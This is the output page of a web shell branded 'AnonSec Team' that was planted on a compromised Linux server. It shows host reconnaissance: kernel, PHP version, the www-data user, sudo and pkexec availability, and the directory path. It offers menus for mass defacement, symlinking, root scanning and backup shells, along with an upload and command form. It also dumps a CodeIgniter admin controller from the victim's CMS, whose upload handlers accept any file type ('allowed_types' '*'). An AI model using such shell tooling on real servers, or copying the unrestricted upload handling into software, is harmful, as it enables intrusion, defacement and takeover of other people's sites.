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/  Your IP : 104.23.197.30   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/controllers/Tentang.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Tentang extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');

		if (!$this->session->userdata('logged_in')) {
        	redirect('/');
        }
 
	}
	public function index()
	{
		redirect('/');
	}
	public function page()
	{
		$page = "tentang";
		$page2 = "tentang";

		$form = "edit";
		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

		$query= $this->Modglobal->find('donasi', array('id' => $id));
		$detail = $query->row_array();

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$status = array (
			'0' => 'Published', 
			'1' => 'Draft',
			'2' => 'Not Publish'
		);

		$data = array(
			'content' => 'donasi/form_program',
			'detail' => $detail,
			'status' => $status,
			//'publish' => $publish,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'lang' => $lang,
		);
		$this->load->view('layouts/base', $data);
	}
	public function program_update()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/donasi/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
		if($_FILES["img2"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img2 = strtolower(str_replace_url($_FILES["img2"]['name']));
			$img2 = 'img2-'.str_replace($findArr, $replaceArr, $img2);
			$config['file_name'] = $img2;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img2');
	    }
	    else{
	    	$img2 = $this->input->post('img2a');
	    }

		if($_FILES["img3"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img3 = strtolower(str_replace_url($_FILES["img3"]['name']));
			$img3 = 'img3-'.str_replace($findArr, $replaceArr, $img3);
			$config['file_name'] = $img3;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img3');
	    }
	    else{
	    	$img3 = $this->input->post('img3a');
	    }

		if($_FILES["img4"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img4 = strtolower(str_replace_url($_FILES["img4"]['name']));
			$img4 = 'img4-'.str_replace($findArr, $replaceArr, $img4);
			$config['file_name'] = $img4;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img4');
	    }
	    else{
	    	$img4 = $this->input->post('img4a');
	    }

		$query= $this->Modglobal->find('donasi', array('id' => $this->input->post('id')));
		$detail = $query->row_array();


		if($this->input->post('publish') == "1"){
			$publish_date = date("Y/m/d - h:i:sa");
		}
		else {
			$publish_date = $detail['publish_date'];
		}

		$data = array(
            'img' => $img,
			'img2' => $img2,
			'img3' => $img3,
			'img4' => $img4,
            'status' => $this->input->post('status'),
            'edit_by' => date("Y/m/d - h:i:sa"),
			'publish_date' => $publish_date,
            'edit_by' => $this->session->userdata('id'),
        );
        $where = array(
    		'id' => $this->input->post('id'),
        );
        $this->Modglobal->update('donasi', $data, $where);

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$url_slug = strtolower($this->input->post('url_slug')[$i]);
			$url_slug = str_replace_url_input($url_slug);

			//echo $url_slug.'asdfas';

			$data = array(
				'title' => $this->input->post('title')[$i],
				'short_des' => $this->input->post('short_des')[$i],
				'content' => $this->input->post('content')[$i],
				'title_des' => $this->input->post('title_des')[$i],
				'url_slug' => $url_slug,
			);
			$where = array(
				'lang' => $this->input->post('lang')[$i],
				'donasi_id' => $this->input->post('id'),
			);
			$this->Modglobal->update('donasi_lang', $data,$where);
		}

		redirect('tentang/statik/'.$this->input->post('id'));
	}

    public function statik()
	{
		$page = "tentang";
		$id = $this->uri->segment(3);
		$id = str_replace('%20',' ',$id);

		$page_query = $this->Modglobal->find('statik', array('id' => $id));
		$detail = $page_query->row_array();

		//echo $detail['id'].'-'.$id;

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$data = array(
			'content' => 'tentang/page_statik',
			'page' => $page,
			'lang' => $lang,
			'detail' => $detail,
		);
		$this->load->view('layouts/base', $data);
	}
	public function statik_update()
	{
        $findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/img/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
        
		if($_FILES["img2"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img2 = strtolower(str_replace_url($_FILES["img2"]['name']));
			$img2 = 'img2-'.str_replace($findArr, $replaceArr, $img2);
			$config['file_name'] = $img2;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img2');
	    }
	    else{
	    	$img2 = $this->input->post('img2a');
	    }

		if($_FILES["img3"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img3 = strtolower(str_replace_url($_FILES["img3"]['name']));
			$img3 = 'img3-'.str_replace($findArr, $replaceArr, $img3);
			$config['file_name'] = $img3;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img3');
	    }
	    else{
	    	$img3 = $this->input->post('img3a');
	    }

		if($_FILES["img4"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$img4 = strtolower(str_replace_url($_FILES["img4"]['name']));
			$img4 = 'img4-'.str_replace($findArr, $replaceArr, $img4);
			$config['file_name'] = $img4;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img4');
	    }
	    else{
	    	$img4 = $this->input->post('img4a');
	    }

        if($_FILES["icon"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$icon = strtolower(str_replace_url($_FILES["icon"]['name']));
			$icon = 'img4-'.str_replace($findArr, $replaceArr, $icon);
			$config['file_name'] = $icon;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('icon');
	    }
	    else{
	    	$icon = $this->input->post('icon2');
	    }

		$data = array(
            'img' => $img,
			'img2' => $img2,
			'img3' => $img3,
			'img4' => $img4,
            'img_thumb' => $icon,
            'link1' => $this->input->post('link1'),
        );
        $where = array(
    		'id' => $this->input->post('id'),
        );
        $this->Modglobal->update('statik', $data, $where);

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$data = array(
				'title' => $this->input->post('title')[$i],
				'sub_title' => $this->input->post('sub_title')[$i],
                'content' => $this->input->post('content')[$i],
			);
			$where = array(
				'id' => $this->input->post('id_lang')[$i]
			);
			$this->Modglobal->update('statik_lang', $data,$where);
		}

		$this->session->set_flashdata('success', 'berhasil');
		redirect('tentang/statik/'.$this->input->post('id'));
	}

	public function fitur()
	{
		$page = "tentang";
		$page2 = "fitur";
		$user_id = $this->session->userdata('id');

		$list_query= $this->Modglobal->find('statik', array('tipe' => 'tentang-fitur'));
		$list= $list_query->result_array();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$data = array(
			'content' => 'tentang/fitur',
			'list' => $list,
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
		);
		$this->load->view('layouts/base', $data);
	}
	public function fitur_add()
	{
		$page = "tentang";
		$page2 = "Fitur";
		$form = "add";

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$data = array(
			'content' => 'tentang/form_fitur',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'lang' => $lang,
		);
		$this->load->view('layouts/base', $data);
	}
	public function fitur_pro()
	{
        $findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/img/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
    

        if($_FILES["icon"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$icon = strtolower(str_replace_url($_FILES["icon"]['name']));
			$icon = 'img4-'.str_replace($findArr, $replaceArr, $icon);
			$config['file_name'] = $icon;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('icon');
	    }
	    else{
	    	$icon = $this->input->post('icon2');
	    }

		$data = array(
            'img' => $img,
            'img_thumb' => $icon,
			'tipe' => 'tentang-fitur',
            'link1' => $this->input->post('link1'),
			'status' => $this->input->post('status'),
            'create_date' => date("Y/m/d - h:i:sa"),
            'create_by' => $this->session->userdata('id')
        );
        $this->Modglobal->insert('statik', $data);

		$new_id = $this->db->insert_id();
		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$data = array(
				'statik_id' => $new_id,
				'title' => $this->input->post('title')[$i],
				'sub_title' => $this->input->post('sub_title')[$i],
                'lang' => $this->input->post('lang')[$i],
				'content' => $this->input->post('content')[$i],
			);
			$this->Modglobal->insert('statik_lang', $data);
		}

		$this->session->set_flashdata('success', 'berhasil');
		redirect('tentang/fitur');
	}

	public function fitur_edit()
	{
		$page = "tentang";
		$page2 = "Fitur";
		$form = "edit";

		$id = $this->uri->segment(3);

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$detail_query= $this->Modglobal->find('statik', array('id' => $id));
		$detail= $detail_query->row_array();

		$lang_query= $this->Modglobal->find('language', array());
		$lang= $lang_query->result_array();

		$data = array(
			'content' => 'tentang/form_fitur',
			'status' => $status,
			'page' => $page,
			'detail' => $detail,
			'page2' => $page2,
			'form' => $form,
			'lang' => $lang,
		);
		$this->load->view('layouts/base', $data);
	}
	public function fitur_update()
	{
        $findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		$config['upload_path']   = '../media/img/'; 
	    $config['allowed_types'] = '*'; 

		if($_FILES["img"]['name']) {
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = 'img-'.str_replace($findArr, $replaceArr, $img);
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');

	    }
	    else{
	    	$img = $this->input->post('imga');
	    }
    

        if($_FILES["icon"]['name']) {
			//$img_thumb = 'news-'.time().$_FILES["img_thumb"]['name'];
			$icon = strtolower(str_replace_url($_FILES["icon"]['name']));
			$icon = 'img4-'.str_replace($findArr, $replaceArr, $icon);
			$config['file_name'] = $icon;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('icon');
	    }
	    else{
	    	$icon = $this->input->post('icon2');
	    }

		$data = array(
            'img' => $img,
            'img_thumb' => $icon,
            'link1' => $this->input->post('link1'),
			'status' => $this->input->post('status'),
        );
        $where = array(
    		'id' => $this->input->post('id'),
        );
        $this->Modglobal->update('statik', $data, $where);

		//language
		for($i=0; $i< count($this->input->post('lang')); $i++)
	    {
			$data = array(
				'title' => $this->input->post('title')[$i],
				'sub_title' => $this->input->post('sub_title')[$i],
                'content' => $this->input->post('content')[$i],
			);
			$where = array(
				'id' => $this->input->post('id_lang')[$i]
			);
			$this->Modglobal->update('statik_lang', $data,$where);
		}

		$this->session->set_flashdata('success', 'berhasil');
		redirect('tentang/fitur');
	}
	
	public function fitur_delete() {
		$id = $this->uri->segment(3);
		$where = array(
			'id' => $id,
		);
		$this->Modglobal->delete('statik', $where);

		redirect('tentang/fitur');
	}

	public function struktur()
	{
		$page = "tentang";
		$page2 = "Struktur";
		$user_id = $this->session->userdata('id');

		$list_query= $this->Modglobal->find('struktur', array('delete' => '0'));
		$list= $list_query->result_array();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$bagian = array (
			'1' => 'BADAN PEMBINA', 
			'2' => 'BADAN PENGAWAS',
			'3' => 'BADAN PENGURUS',
			'4' => 'Pelaksana Kegiatan KARINAA - Caritas IOndonesia'
		);
		$level = array (
			'1' => 'Eksekutif', 
			'2' => 'Anggota'
		);

		$data = array(
			'content' => 'tentang/index',
			'list' => $list,
			'status' => $status,
			'bagian' => $bagian,
			'level' => $level,
			'page' => $page,
			'page2' => $page2,
		);
		$this->load->view('layouts/base', $data);
	}
	public function struktur_add()
	{
		$page = "tentang";
		$page2 = "Struktur";
		$form = "add";

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$bagian = array (
			'1' => 'BADAN PEMBINA', 
			'2' => 'BADAN PENGAWAS',
			'3' => 'BADAN PENGURUS',
			'4' => 'Pelaksana Kegiatan KARINAA - Caritas Indonesia'
		);
		$level = array (
			'1' => 'Eksekutif', 
			'2' => 'Anggota'
		);

		$data = array(
			'content' => 'tentang/form',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'bagian' => $bagian,
			'level' => $level,
			'form' => $form,
		);
		$this->load->view('layouts/base', $data);
	}
	public function struktur_pro()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		if($_FILES["img"]['name']) {
			//$img = 'news-'.time().$_FILES["img"]['name'];
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = str_replace($findArr, $replaceArr, $img);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');
	    }
	    else{
	    	$img = $this->input->post('img2');
	    }

		$data = array(
			'name' => $this->input->post('name'),
			'title' => $this->input->post('title'),
			'bagian' => $this->input->post('bagian'),
			'level' => $this->input->post('level'),
			'img' => $img,
			'status' => $this->input->post('status'),
            'create_date' => date("Y/m/d - h:i:sa"),
            'create_by' => $this->session->userdata('id')
        );
        $this->Modglobal->insert('struktur', $data);

		redirect('tentang/struktur');
	}

	public function struktur_edit()
	{
		$page = "tentang";
		$page2 = "Struktur";
		$form = "edit";

		$id = $this->uri->segment(3);

		$detail_query= $this->Modglobal->find('struktur', array('id' => $id));
		$detail= $detail_query->row_array();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);
		$bagian = array (
			'1' => 'BADAN PEMBINA', 
			'2' => 'BADAN PENGAWAS',
			'3' => 'BADAN PENGURUS',
			'4' => 'Pelaksana Kegiatan KARINAA - Caritas Indonesia'
		);
		$level = array (
			'1' => 'Eksekutif', 
			'2' => 'Anggota'
		);

		$data = array(
			'content' => 'tentang/form',
			'detail' => $detail,
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'bagian' => $bagian,
			'level' => $level
		);
		$this->load->view('layouts/base', $data);
	}

	public function struktur_update()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!" ,"(",")");
		$replaceArr   = array("","-","-","", "","","","","","");
		if($_FILES["img"]['name']) {
			//$img = 'news-'.time().$_FILES["img"]['name'];
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = str_replace($findArr, $replaceArr, $img);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');
	    }
	    else{
	    	$img = $this->input->post('img2');
	    }

		$data = array(
			'name' => $this->input->post('name'),
			'title' => $this->input->post('title'),
			'bagian' => $this->input->post('bagian'),
			'level' => $this->input->post('level'),
			'img' => $img,
			'status' => $this->input->post('status'),
            'edit_date' => date("Y/m/d - h:i:sa"),
        );
		$where = array(
			'id' => $this->input->post('id'),
		);
        $this->Modglobal->update('struktur', $data, $where);

		
		redirect('tentang/struktur');
	}
	public function struktur_delete() {
		$id = $this->uri->segment(3);
		$data = array(
			'delete' => '1'
		);
		$where = array(
			'id' => $id,
		);
		$this->Modglobal->update('struktur', $data, $where);

		redirect('tentang/struktur');
	}
	
}



Anon7 - 2022
AnonSec Team